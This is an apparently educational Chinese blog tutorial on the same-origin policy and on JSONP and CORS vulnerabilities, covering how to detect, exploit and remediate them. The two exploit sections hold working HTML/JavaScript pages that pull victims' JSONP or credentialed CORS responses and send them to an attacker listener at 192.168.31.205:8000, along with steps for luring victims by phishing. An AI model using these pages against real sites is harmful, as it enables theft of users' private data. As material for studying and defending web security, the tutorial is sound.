特殊的 CSRF 跨域请求

特殊的 CSRF 跨域请求

同源网站

什么是同源

同源策略是浏览器实现的一种安全机制,用于限制不同源的网站之间的资源交互。两个网站被视为“同源”需要满足以下三个条件:

  • 协议一致:例如,两个网站都使用 httphttps
  • 域名或 IP 一致:例如,example.comsub.example.com 不同源。
  • 端口一致:例如,example.com:80example.com:8080 不同源。

如果上述任一条件不满足,则两个网站被视为不同源。例如:

  • http://example.comhttps://example.com 不同源(协议不同)。
  • http://example.comhttp://test.com 不同源(域名不同)。
  • http://example.com:80http://example.com:8080 不同源(端口不同)。

同源策略的作用

同源策略是浏览器的一种安全机制,旨在防止恶意网站窃取用户数据或执行未授权操作。具体限制包括:

  • DOM 访问限制:不同源的页面无法直接访问彼此的 DOM 元素。例如,一个恶意网站无法读取另一个网站的表单数据。
  • Cookie 访问限制:不同源的网站无法读取或修改彼此的 Cookie。
  • XMLHttpRequest 限制:AJAX 请求(包括 fetchaxios)无法直接向不同源的服务器发送请求。
  • LocalStorage 和 IndexedDB:不同源的网站无法访问彼此的本地存储。

例外情况

尽管同源策略限制严格,但浏览器允许某些资源跨域加载,以支持常见的 Web 开发需求。这些资源包括:

  • 图像<img> 标签可以加载来自任何源的图片。
  • 视频和音频<video><audio> 标签可以加载流媒体文件。
  • 脚本<script> 标签可以加载外部 JavaScript 文件。
  • 样式表<link> 标签可以加载外部 CSS 文件。
  • 字体@font-face 可以加载跨域字体文件。

这些例外为开发者提供了便利,但也可能被攻击者利用,例如 JSONP 漏洞。

跨域请求

跨域请求的实际需求

在现代 Web 开发中,跨域请求是常见需求。例如:

  • 子域名之间的数据共享:如 tieba.baidu.com(百度贴吧)和 map.baidu.com(百度地图)需要共享用户登录状态或数据。
  • 第三方服务集成:网站可能需要调用外部 API,例如天气服务、支付接口或社交媒体分享功能。
  • 微前端架构:不同子系统运行在不同域名下,需要通过跨域请求进行通信。

跨域请求的目标是绕过浏览器的同源策略限制,实现不同源之间的数据交互。

实现跨域请求的方法

开发者可以通过以下两种常见方法实现跨域请求:

方法 1:JSONP 跨域

JSONP(JSON with Padding)利用了浏览器允许 <script> 标签加载跨域脚本的特性。其工作原理如下:

  1. 客户端通过 <script> 标签向服务器发送 GET 请求,并在请求中包含一个 回调函数名称(通常通过 callback 参数指定)。
  2. 服务器返回一个 JavaScript 脚本,内容是调用指定 回调函数 并将数据作为参数传递。
  3. 客户端的浏览器执行返回的脚本,从而获取数据。

方法 2:CORS 跨域

CORS(Cross-Origin Resource Sharing,跨源资源共享)是一种更现代、更安全的跨域请求方式。它通过服务器端的 HTTP 头配置,明确允许哪些源可以访问资源。常见的 CORS 头包括:

  • Access-Control-Allow-Origin:指定允许访问的源,例如 https://example.com
  • Access-Control-Allow-Methods:指定允许的 HTTP 方法,如 GETPOST
  • Access-Control-Allow-Headers:指定允许的请求头。

CORS 工作流程

  1. 客户端发送跨域请求(例如通过 fetchXMLHttpRequest)。
  2. 浏览器可能先发送一个预检请求(OPTIONS 方法),检查服务器是否允许跨域。
  3. 服务器返回适当的 CORS 头,浏览器根据这些头决定是否允许请求继续。

JSONP 漏洞

漏洞原理

JSONP 漏洞是由于 <script> 标签的跨域特性被滥用,导致攻击者可以构造恶意请求,诱导用户执行不受信任的脚本。攻击者通常通过以下方式利用 JSONP 漏洞:

  1. 找到存在 JSONP 接口的网站(通常带有 callback 参数)。
  2. 构造恶意的回调函数,使服务器返回的脚本执行攻击者的代码。
  3. 诱导用户访问恶意页面,触发 JSONP 请求。

挖掘 JSONP 漏洞

步骤 1:寻找 JSONP 接口的特征

要挖掘 JSONP 漏洞,首先需要识别目标网站是否使用了 JSONP 接口。JSONP 接口通常具有以下特征:

  • GET 请求:JSONP 只能使用 GET 方法。
  • callback 参数:URL 中包含 callback 或类似参数(例如 cbjsonp),用于指定回调函数名称,且参数值会与响应体对应。
  • 响应体为 JavaScript:服务器返回的内容是 JavaScript 代码,通常形如 callbackName({...})
  • Content-Type:响应头的 Content-Type 通常为 application/javascripttext/javascript

image-20250709204958799

步骤 2:判断 JSONP 是否为漏洞

  • 敏感数据泄露:JSONP 接口是否返回敏感信息(如用户 ID、令牌、个人信息),若有,就是漏洞。

利用

攻击者利用 JSONP 漏洞的典型步骤如下:

  1. 构造钓鱼页面:创建一个包含恶意 JSONP 请求的 HTML 页面
  2. 诱导用户访问:通过电子邮件、社交媒体或恶意链接诱导受害者访问钓鱼页面。
  3. 窃取数据或执行代码:当受害者访问页面时,浏览器加载 JSONP 响应,执行恶意回调函数,窃取数据或执行其他恶意操作。

攻击机上的 exp:

······
<script>
    // 定义一个名为 test 的回调函数,用于接收 JSONP 返回的数据
    function test(json) {
        // 创建一个 img 元素用于发送窃取的数据
        var img = document.createElement('img');
        
        // 设置图片尺寸为 0,使其在页面上不可见
        img.width = 0;
        img.height = 0;
        
        // 将 JSON 数据转换为字符串,并作为 URL 参数发送到攻击者控制的服务器
        // 192.168.31.205:8000 是攻击者的接收服务器
        img.src = "http://192.168.31.205:8000/" + JSON.stringify(json);
        
        // 将隐藏的图片元素添加到页面中,触发 HTTP 请求
        document.body.appendChild(img);
    }
</script>

<!-- 
    通过 script 标签加载外部 JSONP 接口
    目标服务器,即受害者是 192.168.31.193:18080 的 jsonp_api.php
    指定回调函数为 test,服务器返回的数据会被包裹在 test() 中执行
-->
<script src="http://192.168.31.193:18080/jsonp_api.php?callback=test"></script>
······

在攻击机上开启监听,并生成钓鱼链接:http://192.168.31.205:8000/exp.html

诱导受害者点击, 攻击者即可收到受害者浏览器中的敏感信息

CORS 漏洞

原理

Q:如何判断网站使用了 CORS 跨域请求? A:请求头中有 Origin,响应头中有 Access-Control-Allow-Origin

CORS 漏洞通常是由于服务器端配置错误,导致未经授权的源可以访问敏感资源。CORS 的核心机制是基于 Origin 请求头和 Access-Control-Allow-Origin 响应头:

  • Origin 请求头:浏览器在跨域请求中自动添加 Origin 头,指示请求来源。
  • Access-Control-Allow-Origin 响应头:服务器指定允许访问的源,例如 Access-Control-Allow-Origin: https://www.baidu.comAccess-Control-Allow-Origin: *

CORS 漏洞的常见原因包括:

  • 通配符配置:服务器设置 Access-Control-Allow-Origin: *,允许所有源访问,可能暴露敏感数据。
  • 动态回显 Origin:服务器直接将请求中的 Origin 值回显到 Access-Control-Allow-Origin 中,未进行白名单验证。
  • 允许凭据:设置 Access-Control-Allow-Credentials: true 且允许任意源,可能导致 Cookie 泄露。

挖掘

步骤 1:识别 CORS 配置

要挖掘 CORS 漏洞,首先需要确认目标网站是否使用 CORS 跨域请求。可以通过以下方法识别:

  • 检查请求头:使用浏览器的开发者工具或 Burp Suite 抓取请求,查看是否包含 Origin 头。
  • 检查响应头:观察服务器响应是否包含 Access-Control-Allow-Origin 头,并检查其值是否为 * 或动态回显 Origin
  • 测试预检请求:发送一个 OPTIONS 请求,查看服务器是否返回宽松的 CORS 配置。

步骤 2:判断 CORS 是否为漏洞

CORS 配置是否构成漏洞取决于以下条件:

  • 宽松的配置Access-Control-Allow-Origin: * 允许任意源访问,或动态回显 Origin 而未验证,即 CORS 跨域请求没有限制。
  • 敏感数据泄露:接口返回的响应体是否包含敏感信息(如用户数据、令牌)。
  • Cookie 携带:如果设置了 Access-Control-Allow-Credentials: true,攻击者可能通过跨域请求窃取用户的 Cookie。

image-20250710185016766

利用

CORS 漏洞的利用流程如下:

  1. 搭建攻击服务器:攻击者在自己的服务器上部署一个恶意页面,用于发起跨域请求。
  2. 诱导用户访问:通过钓鱼链接或社交工程诱导受害者访问恶意页面。
  3. 窃取数据:恶意页面发起跨域请求,获取目标服务器的敏感数据,并将其发送到攻击者的服务器。

攻击机上的 exp:

······
<script type="text/javascript">
    // 1. 创建XMLHttpRequest对象用于发起HTTP请求
    var req = new XMLHttpRequest();
    
    // 2. 设置请求完成时的回调函数(reqListener)
    req.onload = reqListener;
    
    // 3. 启用跨域凭据(携带Cookies等认证信息)
    // 关键攻击点:利用用户当前会话的认证状态
    req.withCredentials = true;
    
    // 4. 初始化GET请求,目标为存在漏洞的students.php
    // true表示异步请求(不会阻塞页面)
    req.open('get','http://192.168.31.193/students.php',true);
    
    // 5. 设置请求头伪装成表单提交
    // 可能用于绕过某些简单防护
    req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
    
    // 6. 发送请求(此时会携带用户当前域下的Cookies)
    req.send();
    
    // 7. 定义请求完成后的处理函数
    function reqListener() {
        // 8. 创建隐藏的Image对象作为数据外传载体
        // 9. window.btoa + encodeURIComponent 双重编码窃取的数据:
        //    a) encodeURIComponent防止特殊字符截断URL
        //    b) unescape还原编码
        //    c) window.btoa进行Base64编码避免明文传输
        // 10. 将敏感数据发送到攻击者控制的8000端口
        new Image().src="http://192.168.31.205:8000/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(req.responseText))))
    };
</script>
······

在攻击机上开启监听,并生成钓鱼链接:http://192.168.31.205:8000/exp.html

诱导受害者点击, 攻击者即可收到受害者浏览器中的敏感信息

CORS 漏洞为什么不能用了

现代浏览器引入了 SameSiteSecure 的 Cookie 属性,增加了 CORS 漏洞利用的难度:

  • SameSite 属性

    • Strict:Cookie 不能在跨域请求中发送,彻底阻止跨域 Cookie 泄露。
    • Lax:允许部分跨域请求(如 GET 请求)携带 Cookie,比 Strict 更宽松,但限制较多。
    • None:允许跨域请求携带 Cookie,但必须与 Secure 属性一起使用。
  • Secure 属性:要求网站使用 HTTPS 协议才能发送 Cookie。

要成功利用 CORS 漏洞并携带 Cookie,必须满足以下条件:

  1. 目标网站的 Cookie 设置了 SameSite=NoneSecure 属性。
  2. 攻击者的网站和目标网站均为 HTTPS。

修复

为了防止 JSONP 和 CORS 漏洞,开发者可以采取以下措施:

修复 JSONP 漏洞

  1. 限制回调函数名称

    • 服务器应对 callback 参数进行严格验证,仅允许白名单中的函数名称。
    • 避免直接将用户输入的 callback 值嵌入响应中,防止代码注入。
  2. 避免返回敏感数据

    • JSONP 接口不应返回用户 ID、令牌或个人信息。
    • 如果必须返回敏感数据,应使用 CORS 或其他更安全的方式。
  3. 使用 CORS 替代 JSONP

    • JSONP 是一种过时且不安全的技术,推荐使用 CORS 实现跨域请求。

修复 CORS 漏洞

  1. 正确配置 CORS

    • 明确指定允许的源,避免使用 Access-Control-Allow-Origin: *
    • 如果需要支持多个源,使用白名单动态设置 Access-Control-Allow-Origin
  2. 去除或加密敏感信息

    • 确保跨域接口不返回敏感数据,如用户令牌或个人信息。
    • 如果必须返回敏感数据,使用加密或令牌化技术保护数据。
  3. 设置安全的 Cookie 属性

    • 使用 SameSite=StrictSameSite=Lax 防止跨域 Cookie 泄露。
    • 启用 Secure 属性,确保 Cookie 仅在 HTTPS 环境下传输。
  4. 限制凭据

    • 除非必要,避免设置 Access-Control-Allow-Credentials: true
    • 如果需要支持凭据,确保 Access-Control-Allow-Origin 不为 *
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇